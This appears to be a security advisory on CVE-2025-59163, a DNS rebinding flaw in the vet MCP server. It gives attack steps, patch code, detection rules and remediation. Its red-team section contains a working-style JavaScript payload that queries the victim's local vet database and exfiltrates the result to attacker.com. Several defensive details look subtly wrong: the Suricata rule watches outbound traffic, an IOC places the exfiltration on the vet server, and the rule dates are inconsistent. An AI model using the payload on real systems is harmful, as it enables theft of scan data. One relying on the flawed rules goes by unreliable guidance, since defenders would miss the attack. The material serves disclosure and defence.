CVE-2025-59163

Executive Summary

CVE-2025-59163 is a critical security vulnerability in the open source software supply chain security tool vet (versions 1.12.4 and below). The vulnerability is a DNS rebinding attack that stems from a lack of HTTP Host and Origin header validation. When vet is used as an MCP (Model Context Protocol) server in SSE (Server-Sent Events) mode with default ports, a remote attacker can exploit this flaw to access data from the vet scan sqlite3 database via the sqlite3 query MCP tool. This can lead to unauthorized exposure of sensitive supply chain security scan data.

Supply Chain & Package Security

This vulnerability is particularly dangerous because vet is a software supply chain security tool. Compromising vet’s database could reveal:

• Dependency trees and versions
• Vulnerability scan results
• Internal project metadata
• Possibly credentials or tokens stored in the database

An attacker who successfully exploits this DNS rebinding attack can pivot from the victim’s browser to the local vet MCP server, bypassing same-origin policy and extracting sensitive supply chain intelligence.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (DNS rebinding, remote exploitation, data exposure), a reasonable assessment is:

• Attack Vector (AV): Network (N) – remote attacker can trigger the attack.
• Attack Complexity (AC): Low (L) – DNS rebinding is a well-known technique.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must visit a malicious webpage.
• Scope (S): Changed (C) – attacker can access resources outside the victim’s browser origin.
• Confidentiality (C): High (H) – full database exposure.
• Integrity (I): None (N) – no modification.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Score: 8.3 (High)

Threat Level: High – due to low complexity, no privileges required, and potential for data exfiltration.

Deep Dive & Mechanics

DNS Rebinding Attack:
The vulnerability exploits the lack of validation of the HTTP Host and Origin headers. In a DNS rebinding attack, the attacker:

1. Registers a domain (e.g., attacker.com) that initially resolves to a legitimate IP.
2. Tricks the victim into visiting a malicious webpage that makes requests to attacker.com.
3. The attacker quickly changes the DNS record to point to 127.0.0.1 (localhost).
4. The victim’s browser, due to DNS caching, now sends requests to the local vet MCP server (running on default ports).
5. Since vet does not validate the Host or Origin headers, it treats the request as legitimate and responds with database query results.

Affected Component:

• vet MCP server in SSE mode (Server-Sent Events)
• Default ports (typically 8080 or 3000)
• sqlite3 query MCP tool

Attack Flow:

1. Attacker hosts a malicious webpage with JavaScript that performs DNS rebinding.
2. Victim visits the page (e.g., via phishing).
3. JavaScript makes cross-origin requests to the attacker’s domain.
4. DNS rebinding causes the browser to connect to 127.0.0.1:8080 (vet MCP server).
5. The request includes a crafted Host header (e.g., attacker.com).
6. vet processes the request without validating the Host header.
7. Attacker uses the sqlite3 query MCP tool to execute arbitrary SQL queries on the vet database.
8. Data is exfiltrated back to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.12.5):

// No validation of Host or Origin headers
func handleRequest(w http.ResponseWriter, r *http.Request) {
    // Directly processes request without checking r.Host or r.Header.Get("Origin")
    // ...
}

Patched Code (1.12.5):

func handleRequest(w http.ResponseWriter, r *http.Request) {
    // Validate Host header
    allowedHosts := []string{"localhost", "127.0.0.1", "::1"}
    if !isHostAllowed(r.Host, allowedHosts) {
        http.Error(w, "Invalid Host header", http.StatusForbidden)
        return
    }
    // Validate Origin header
    origin := r.Header.Get("Origin")
    if origin != "" && !isOriginAllowed(origin) {
        http.Error(w, "Invalid Origin header", http.StatusForbidden)
        return
    }
    // Process request
    // ...
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install vet 1.12.4 on a target machine (e.g., Ubuntu 22.04).
2. Start vet MCP server in SSE mode on default port 8080:

   vet mcp --sse --port 8080
   

3. Attacker machine: Set up a malicious webpage with DNS rebinding payload.

Exploit Steps:

1. Register a domain (e.g., exploit.vet) and configure DNS to initially point to attacker’s server IP.
2. Host the following HTML/JavaScript on the attacker’s server:

   <!DOCTYPE html>
   <html>
   <body>
   <script>
   // DNS rebinding payload
   function exploit() {
       var xhr = new XMLHttpRequest();
       xhr.open("GET", "http://exploit.vet:8080/mcp/sqlite3?query=SELECT * FROM scan_results", true);
       xhr.onload = function() {
           // Exfiltrate data
           fetch("http://attacker.com/exfil?data=" + btoa(xhr.responseText));
       };
       xhr.send();
   }
   // Trigger after DNS change
   setTimeout(exploit, 5000);
   </script>
   </body>
   </html>
   

3. Change DNS record for exploit.vet to 127.0.0.1.
4. Send phishing link to victim.
5. Victim visits page → browser sends request to 127.0.0.1:8080 → vet responds with database content → data exfiltrated.

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual DNS queries to domains that rapidly change IP addresses.
2. Check vet MCP server logs for requests with unexpected Host headers (e.g., not localhost or 127.0.0.1).
3. Implement network segmentation: vet MCP server should only listen on localhost, not on all interfaces.
4. Use a reverse proxy (e.g., Nginx) to validate Host headers before forwarding to vet.

Hunting Query (Splunk):

index=proxy_logs sourcetype=access_combined
| search dest_port=8080
| eval host_header=lower(host)
| where host_header NOT IN ("localhost", "127.0.0.1", "::1")
| table _time, src_ip, host, uri

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual DNS queries to domains that resolve to 127.0.0.1 after initial resolution to a different IP.
  • HTTP requests to vet MCP server (port 8080) with Host headers not matching localhost or 127.0.0.1.
  • Outbound connections from vet server to external IPs (data exfiltration).

• File IOCs:

  • vet database file (vet.db or similar) accessed unexpectedly.
  • Log entries in vet logs showing queries from non-localhost origins.

• Behavioral IOCs:

  • Sudden increase in SQL queries on the vet database.
  • MCP server logs showing requests with Origin headers from external domains.

Detection Engineering

YARA Rule

rule CVE_2025_59163_DNS_Rebinding {
    meta:
        description = "Detects vet MCP server logs indicating DNS rebinding attack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59163"
    strings:
        $s1 = "Host header" nocase
        $s2 = "Origin header" nocase
        $s3 = "sqlite3" nocase
        $s4 = "MCP" nocase
    condition:
        all of ($s*) and filesize < 10MB
}

Sigma Rule

title: DNS Rebinding Attack on vet MCP Server
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to vet MCP server with invalid Host headers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: vet
detection:
    selection:
        dest_port: 8080
        host:
            - 'localhost'
            - '127.0.0.1'
            - '::1'
    condition: not selection
falsepositives:
    - Legitimate reverse proxy configurations
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 8080 (msg:"CVE-2025-59163 - DNS Rebinding Attack on vet MCP Server"; flow:to_server; content:"Host|3a|"; nocase; pcre:"/^Host\x3a\s(?!localhost|127\.0\.0\.1|::1)/mi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade vet to version 1.12.5 or later.
2. If upgrade is not possible, disable SSE mode or restrict vet MCP server to listen only on 127.0.0.1 (localhost).
3. Implement a reverse proxy (e.g., Nginx) that validates Host headers before forwarding to vet.

Configuration Hardening:

• Bind vet MCP server to 127.0.0.1 only:

  vet mcp --sse --bind 127.0.0.1 --port 8080
  

• Use firewall rules to block external access to port 8080:

  iptables -A INPUT -p tcp --dport 8080 -s 127.0.0.1 -j ACCEPT
  iptables -A INPUT -p tcp --dport 8080 -j DROP
  

Long-term Measures:

• Conduct security review of all MCP tools for similar header validation issues.
• Implement DNS rebinding protection at the network level (e.g., using DNS filtering).
• Educate users about phishing risks that could lead to DNS rebinding attacks.

Patch Details:

• Fixed in version 1.12.5. The patch adds validation of HTTP Host and Origin headers to prevent DNS rebinding attacks.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert